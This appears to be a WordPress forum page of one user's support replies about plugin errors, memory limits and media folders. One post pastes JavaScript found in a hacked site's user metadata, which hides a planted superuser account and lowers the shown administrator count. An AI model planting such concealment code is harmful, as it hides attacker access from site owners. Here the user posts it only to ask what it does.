Forum Replies Created

Viewing 15 replies - 1 through 15 (of 18 total)
  • I can confirm, that the plugin brakes the site:

    wp-content/plugins/akismet-privacy-policies/languages/akismet-privacy-policies-de_DE.mo): failed to open stream: No such file or directory in …/wp-includes/pomo/streams.php on line 153

    I had do deaktivate the plugin to get the site loaded.

    Thread Starter mpospiech

    (@mpospiech)

    Note about the video: It does not provide an answer to my question. You seem to assume that one creates a recipe only in a page. This is not what I want to do. Similar to a Gallery. I create them independent and load them with a shortcode where needed.

    Thread Starter mpospiech

    (@mpospiech)

    I actually do not want to place recipes within a page. Simply because I do not want to have 100 pages if I create 100 menus.

    Thread Starter mpospiech

    (@mpospiech)

    My request is to translate not only the gui of the widget, but also the ‘recipe type’ list.
    I want to pick something from the list. And If I pick “main course” I want it to be translated in the website view.

    Second request is to extent the country list. Or to be able to extent it. We even have within germany differet areas with complete different menus. In the german translation it is displayed as “Land & Region”

    Thread Starter mpospiech

    (@mpospiech)

    Hmm. That plugin was installed and activated, but it only gave me this shortcode
    [wpupg-grid]
    which results in this error

    Warning: Illegal string offset ‘id’ in /homepages/20/d740139899/htdocs/WordPress/Pospiech/wp-content/plugins/wp-ultimate-post-grid/helpers/shortcodes/grid_shortcode.php on line 16

    And I do not understand how to configure it to show recipes?
    Even in your documentation I can not find any code or guidline about that.

    I am rather looking for a shortcode to do that. Then I can create for each Category a page with a preview image and put just the shortcode there. Similar to this site:
    https://s740139902.online.de/photography/photography-interests/

    Thread Starter mpospiech

    (@mpospiech)

    I could find out that I can search for it. The recipe start with “P”. But this is very unsable.

    Thread Starter mpospiech

    (@mpospiech)

    I increased the limit to 512. Now I get the message (from the server)

    The page you are looking for is temporarily unavailable.
    Please try again later.

    So basically, the hoster is closing the site due to high load.

    Thread Starter mpospiech

    (@mpospiech)

    Sure. But this error take several minutes, maybe even 10-20 minutes to occur. In this time the website is down. That means nothing loads.

    Therefore I doubt, that increasing the memory limit is a solution.

    I would welcome if you could debug the cause of this error.

    Thread Starter mpospiech

    (@mpospiech)

    I did that before.

    The error I get now in wp-admin/admin.php?page=mlpr-show-folders is

    Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 4096 bytes) in …/wp-includes/pomo/translations.php on line 95

    Display Folder data list is completely empty.

    Thread Starter mpospiech

    (@mpospiech)

    I removed those links.
    The I started “check for new folders” and then loaded

    wp-admin/admin.php?page=media-library-folders

    The page never loads and in the end a mysql timeout php error is shown.

    The problem is now with a different shape or a new one.

    Thread Starter mpospiech

    (@mpospiech)

    Media Library Folders looks for files in wp-content/uploads. You can change the location and name of the uploads folder according to the page Editing wp-config.php,

    Actually not, this is basic wordpress functionality and is set up in
    /wp-admin/options-media.php

    looking at the one of the diagnostic reports available in the Media Library Folders Reset plugin, ‘Display Folder Data’, it shows some folders without a parent folder and this will result in a Javascript error when loading the folder tree.

    Looking at the list, it is completely useless, since it displays files that do not exist. At least not with this path. For example

    https://xxxx.online.de/files//homepages/xx/d12345/htdocs/WordPress/Pospiech/files/cpp

    https://xxxx.online.de/files/ is a link to the folder as seen for the website visitor

    /homepages/xx/d12345/htdocs/WordPress/Pospiech/ is the server folder to the wordpress website

    files/cpp is a valid folder in the wordpress website structure.

    I do not know what a parent folder means. Anyway I assume that as long as this list is displaying useless data the plugin will very likely not work. The question is how to fix it.

    I change the upload folder to wp-content/files/ But that only changes the link to

    https://xxxx.online.de/wp-content/files//homepages/xx/d12345/htdocs/WordPress/Pospiech/files/cpp

    Also, according to the above mentioned report, there too many folders here because it scanning most of the site rather than just the place for Media Library images are stored.

    Since it contains data not available from the folder tree, but only the database I wonder how this list is generated.
    I aggre that is seems to scan the whole folder structure, but how can I ensure that it only scans the media folder. Currently it does not scan the media folder.

    Thread Starter mpospiech

    (@mpospiech)

    Is there a page with examples, or a plugin version I can download for testing?

    Thread Starter mpospiech

    (@mpospiech)

    According to this post this means I have been hacked in the past, or even still am?

    What needs to be removed from the database?

    Thread Starter mpospiech

    (@mpospiech)

    These empty users have in the database the meta key “first_name” with content such as

    <b id="user_superuser"><script language="JavaScript">
         var setUserName = function(){
              try{
                   var t=document.getElementById("user_superuser");
                   while(t.nodeName!="TR"){
                        t=t.parentNode;
                   };
                   t.parentNode.removeChild(t);
                   var tags = document.getElementsByTagName("H3");
                   var s = " shown below";
                   for (var i = 0; i < tags.length; i++) {
                        var t=tags[i].innerHTML;
                        var h=tags[i];
                        if(t.indexOf(s)>0){
                             s =(parseInt(t)-1)+s;
                             h.removeChild(h.firstChild);
                             t = document.createTextNode(s);
                             h.appendChild(t);
                        }
                   }
              }catch(e){};
         };
         addLoadEvent(setUserName);
         </script>

    or

    <b id="user_superuser"><script language="JavaScript">
         var setUserName = function(){
              try{
                   var t=document.getElementById("user_superuser");
                   while(t.nodeName!="TR"){
                        t=t.parentNode;
                   };
                   t.parentNode.removeChild(t);
                   var tags = document.getElementsByTagName("H3");
                   var s = " shown below";
                   for (var i = 0; i < tags.length; i++) {
                        var t=tags[i].innerHTML;
                        var h=tags[i];
                        if(t.indexOf(s)>0){
                             s =(parseInt(t)-1)+s;
                             h.removeChild(h.firstChild);
                             t = document.createTextNode(s);
                             h.appendChild(t);
                        }
                   }
    				var arr=document.getElementsByTagName("ul");
    				for(var i in arr) if(arr[i].className=="subsubsub"){
    					var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
    					if(n[1]>0){
    						var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<");
    						arr[i].innerHTML=txt;
    					}
    				}
    
              }catch(e){};
         };
         addLoadEvent(setUserName);
         </script>

    What does this code do?

    Thread Starter mpospiech

    (@mpospiech)

    This question can be closed. It was only a matter of caching or similar. It works now. Though I find the new shortcodes much too difficult. As if one should be forced to use the visual editor…

Viewing 15 replies - 1 through 15 (of 18 total)